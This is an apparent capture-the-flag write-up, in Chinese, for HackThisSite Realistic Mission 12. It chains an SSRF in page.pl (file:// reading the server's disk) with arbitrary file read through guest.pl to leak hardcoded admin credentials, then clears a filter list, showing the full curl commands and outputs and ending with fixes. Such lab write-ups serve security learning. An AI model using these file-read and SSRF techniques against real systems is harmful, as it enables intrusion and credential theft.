Challenge
Schools are supposed to prepare students for the outside world, but
how can they do this if students are kept from everything by
overly-protective administrators? Clear the blocked site list and help
fight censorship in public schools.
学校本该让学生接触外面的世界,但过度保护的网管把一切都挡在外面。目标是清空被封锁的站点列表(blocked.txt)。
入口 /missions/realistic/12/ 是一个 meta refresh,跳到
cgi-bin/internet.pl —— 一个模拟的"浏览器",把地址栏内容塞进
iframe。
Solution
Recon :
internet.pl 把整个 QUERY_STRING 先 unescape 再
escape,拼成 <iframe src="page.pl?$url">,所以
page.pl 收到的 query string 就是"要访问的
URL"本身,没有独立参数名。
page.pl 在服务端用 LWP 抓取该 URL 并回显响应 —— 这是个
SSRF 代理;抓取前逐行读 blocked.txt,用正则
/$line/i 匹配 URL,命中就返回 Blocked 页。
LWP 支持 file://,于是 page.pl?file:///C:/
直接返回 C 盘目录列表。目录返回列表,单个文件返回
Location: <url> 文本。
Step 1:
从模拟浏览器里反推协议
两个 CGI 的源码通过 guest.pl 读到(见 Step
3)。internet.pl 的关键逻辑:
1 2 3 4 my $url = $ENV {'QUERY_STRING' };$url = uri_unescape($url );$url = uri_escape($url );print "...<iframe src=\"page.pl?$url \" width=100% height=90%> This browser doesn\'t support IFRAMES.</iframe>..." ;
page.pl 的关键逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 my $url = $ENV {QUERY_STRING} ;$url = uri_unescape($url );$url =~ s/^url=//i ;if (length ($url ) == 0 || $url eq "http://" || $url eq "/" ){ $url = "../main.html" ; } my $line ;open (blocked, "<blocked.txt" ) or print "Content-Type: text/plain\r\n\r\nFailed to load blocked.txt" and exit ;while ($line = <blocked>){ chomp ($line ); if ($url =~ /$line/i ) { print "Content-Type: text/html\r\n\r\n<html><head><title>Blocked</title></head>..." and exit ; } } close (blocked);my $browser = LWP::UserAgent->new(agent => "Bardus Browser v1.0" );my $request = HTTP::Request->new('GET' , $url );my $response = $browser ->request($request );print "Content-Type: " .$response ->content_type."\r\n\r\n" .$response ->content;
黑名单检查只存在于 page.pl,而且只是对 URL
做不区分大小写的正则匹配;$url
未经任何协议白名单限制,直接交给 LWP。用 file://
协议即可让服务器自己读自己的文件系统:
1 2 3 4 $ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/page.pl?file:///C:/" <html><head ><title>Index of file://c:/</title></head><body><h1>Index of file:///c:/</h1><hr/><table>... AUTOEXEC.BAT ... COMMAND.COM ... CONFIG.SYS ... Program Files ... WINDOWS ... WEB ...
Step 2: 目录枚举,摸清黑名单
1 2 3 4 5 6 7 $ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/page.pl?file:///C:/WEB/" Index of file:///c:/web : HTML/ Perl/ cgi-bin/ HTTP.EXE $ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/page.pl?file:///C:/WEB/cgi-bin/" <html><head ><title>Blocked</title></head><body ...>This Page is Blocked ... Heartland Technology Department
cgi-bin、Perl 两个目录名命中黑名单里的
cgi、perl 关键字。但站点真实根目录就是
C:/WEB/HTML,直接走 HTTP 请求(完全不经
page.pl)不受黑名单约束:
1 2 3 4 5 6 7 8 9 $ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/heartlandadminpanel.html" <html><head ><title>Heartland School District - Administrator Panel</title></head> <body bgcolor="#204090" text="#cccccc" background="back.gif" link ="#204090" alink="#204090" vlink="#204090" > <form action="cgi-bin/heartlandadminpanel.pl" method=get> username: <input type ="text" value="" name="username" ><br> password: <input type ="password" value="" name="password" ><br> <input type ="submit" value="submit" > </form></body></html>
Step 3: guest.pl
任意文件读,拿到源码
guest.pl 有 read / write 两个
action。write 往 guestbook.txt
追加(这个留言板本身就是个漏洞),read 直接
open("<$file"),只过滤 .. 和首字符
/,也就是可以读 cgi-bin
同目录下的任意文件 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 if ($arg =~ /^file=/ ){ $file = $arg ; $file =~ s/^file=//g ; if ($file =~ /\.\./ | $file =~ /^\// ) { print "Access denied." and exit ; } $file = uri_unescape($file ); $file =~ s/<|>|\||\&|;//g ; } if ($action eq "read" ){ open (file, "<$file " ) or print "File not found." and exit ; while ($line = <file>) { print $line ; } close (file); }
黑名单只挡 page.pl 的浏览,不管 guest.pl
的文件读,所以管理员脚本源码直接暴露:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 $ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/guest.pl?action=read&file=heartlandadminpanel.pl" use strict; print "Content-type: text/html\r\n\r\n" ;require "db.cgi" ; my $line ; if ($ENV {QUERY_STRING} =~ /^username=jbardus&password=heartlandnetworkadministrator&blocked=/){ clearlist(); } elsif ($ENV {QUERY_STRING} =~ /^username=jbardus&password=heartlandnetworkadministrator/) { print "<html><head><title>Heartland School District Network Administrator</title></head> <body bgcolor=\"#204090\" ...> <div align=\"center\"> <form action=\"heartlandadminpanel.pl\" method=get> <input type=\"hidden\" name=\"username\" value=\"jbardus\"> <input type=\"hidden\" name=\"password\" value=\"heartlandnetworkadministrator\"> <input type=\"hidden\" name=\"blocked\" value=\"\"> <select multiple name=\"blocked\" size=15 style=\"width:400px;\">" ; open(file, "blocked.txt" ) or print "Failed to load blocked.txt" ; while ($line = <file>) { chomp($line ); print "<option>$line </option>\n" ; } close(file); print "</select><br><br> <input type=\"button\" value=\"add site\"> <input type=\"button\" value=\"edit\"> <input type=\"button\" value=\"delete\"> <input type=\"submit\" value=\"clear all\"> </form></div></body></html>" ;} else { print "Invalid Username / Password" ; }
源码把整条通关路径写死了:硬编码凭据 + 前缀匹配决定行为。
QUERY_STRING 以
username=jbardus&password=heartlandnetworkadministrator&blocked=
开头 → 调用 clearlist()(真正的通关动作);
只以 username=...&password=... 开头 → 渲染面板,把
blocked.txt 逐行读进 <option>;
其它 → Invalid Username / Password。
注意这是前缀匹配 (^,无结尾锚点),所以
blocked= 后面跟任意值都会触发清空。
Step 4:
登录面板确认黑名单内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 $ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/heartlandadminpanel.pl?username=jbardus&password=heartlandnetworkadministrator" <select multiple name="blocked" size=15 style="width:400px;" ><option>perl</option> <option>cgi</option> <option>game</option> <option>bonus</option> <option>\\.exe</option> <option>zip</option> <option>php</option> <option>sex</option> <option>bitch</option> <option>shit</option> <option>monkey</option> <option>mofo</option> <option>mess</option> <option>sucks</option> <option>mail</option> <option>fuck</option> <option>damn</option> <option>hell</option> <option>crap</option> <option>poo</option> <option>new</option> <option>search</option> <option>txt</option> <option>text</option> <option>onion</option> <option>slashdot</option> <option>porn</option> <option>pron</option> <option>p0rn</option> <option>pr0n</option> <option>drug</option> <option>hack</option> <option>mad</option> <option>best</option> <option>goo</option> <option>alta</option> <option>asta</option> <option>google</option> <option>yahoo</option> <option>msn</option> <option>apple</option> <option>mac</option> <option>linux</option> <option>mozilla</option> <option>war</option> <option>ground</option> <option>open</option> <option>source </option> <option>info</option> <option>party</option> <option>erowid</option> <option>forum</option> <option>aclu</option> <option>totse</option> <option>dem</option> <option>kaz</option> <option>ftp</option> <option>anar</option> <option>ip</option> <option>dns</option> <option>\\.biz</option> <option>\\.co\\.uk</option> <option>\\.fr</option> <option>geo</option> <option>tri</option> <option>1</option> <option>2</option> <option>3</option> <option>4</option> <option>5</option> <option>6</option> <option>7</option> <option>8</option> <option>9</option> <option>10</option>
共 75
条。这条黑名单不是精确匹配,而是不区分大小写的正则,而且最后一组是裸数字
—— 任何含数字的 URL
都会被拦。对照实验:file:///C:/WINDOWS/Bubbles.bmp(无数字、无关键词)正常返回
Location:,而
file:///C:/WINDOWS/CMD640X.SYS(含
640)直接命中 Blocked。同理 hack 条目把 HTS
自己的域名也一起封了:page.pl?http://www.hackthissite.org/missions/realistic/
同样是 Blocked。黑名单封得过宽,连正常路径都一起封,所以
page.pl 这条路基本走不通,只能走 guest.pl
和直连 HTTP。
面板表单里的
<input type="hidden" name="blocked" value="">
就是"clear all"提交时要带上的空值字段。
Step 5: 清空黑名单并验证
1 2 3 $ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/heartlandadminpanel.pl?username=jbardus&password=heartlandnetworkadministrator&blocked=" <iframe src="mission-accomplished.php?username=jbardus&password=heartlandnetworkadministrator" style="width:80%; height:40%; border:0px #ffffff solid;" ></iframe>
clearlist() 不回显成功文案,而是吐出指向
mission-accomplished.php 的 iframe。跟进这个 completion
页面:
1 2 3 $ curl -s -L -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/mission-accomplished.php?username=jbardus&password=heartlandnetworkadministrator" <center><div style="width:80%" ><div class="dark-td" ><h2>Congratulations</h2></div><div class="light-td" >Good Job, ***, You have successfully completed Mission 12<br /></div></div></center>
服务端确认后重新拉 profile:Realistic 列表出现
(12),积分 1976 → 2186(+210),任务列表该条目变为 "You
have already completed this level!"。
关键陷阱 :
page.pl?file:///C:/WEB/cgi-bin/
被黑名单挡住(cgi 在表里),但换成
CGI-BIN、cgi-bin/.、cgi-bin%2f
全部仍然被拦 ——
黑名单是不区分大小写的正则,编码绕过无效。真正的绕过是不走
page.pl :直接 HTTP
请求站点根目录下的静态文件,没有任何组件再过黑名单。
page.pl 对目录回显列表、对文件回显
Location: <url> 文本,不是文件内容。读文件要用
guest.pl?action=read,或者直接 HTTP
猜路径(C:/WEB/HTML/x ↔︎
/missions/realistic/12/x)。
blocked.txt 本身用
guest.pl?action=read&file=blocked.txt
读不到(File not found.),只能通过管理员面板的
<option> 渲染出来。
Vulnerabilities
SSRF / 本地文件读取 :page.pl
把用户输入当作完整 URL 交给
LWP,没有任何协议或主机白名单,file://
让服务器替攻击者读自己的文件系统。
任意文件读(源码泄露) :guest.pl?action=read
只拦 .. 和开头 /,同目录下所有 CGI
源码(含硬编码凭据)可读。
黑名单是错误的安全边界 :过滤词表(cgi、perl、php、zip…)以正则匹配
URL,只在一个组件里生效,且不影响静态文件直连;过滤词表本身还泄露在管理员页面里。
硬编码凭据 +
前缀正则判定权限 :username=jbardus&password=...
直接写在源码和隐藏字段里,权限判定用无结尾锚点的 ^
前缀匹配,多余参数不影响判定。
修复方向:URL 只允许明确的 http(s)
白名单主机并由服务端重新解析;文件读取用固定的资源 id
映射而不是拼路径;凭据放服务端配置并哈希存储,权限用会话而不是请求参数;过滤/权限逻辑必须在所有入口统一执行,不能只挂在某一个
CGI 上。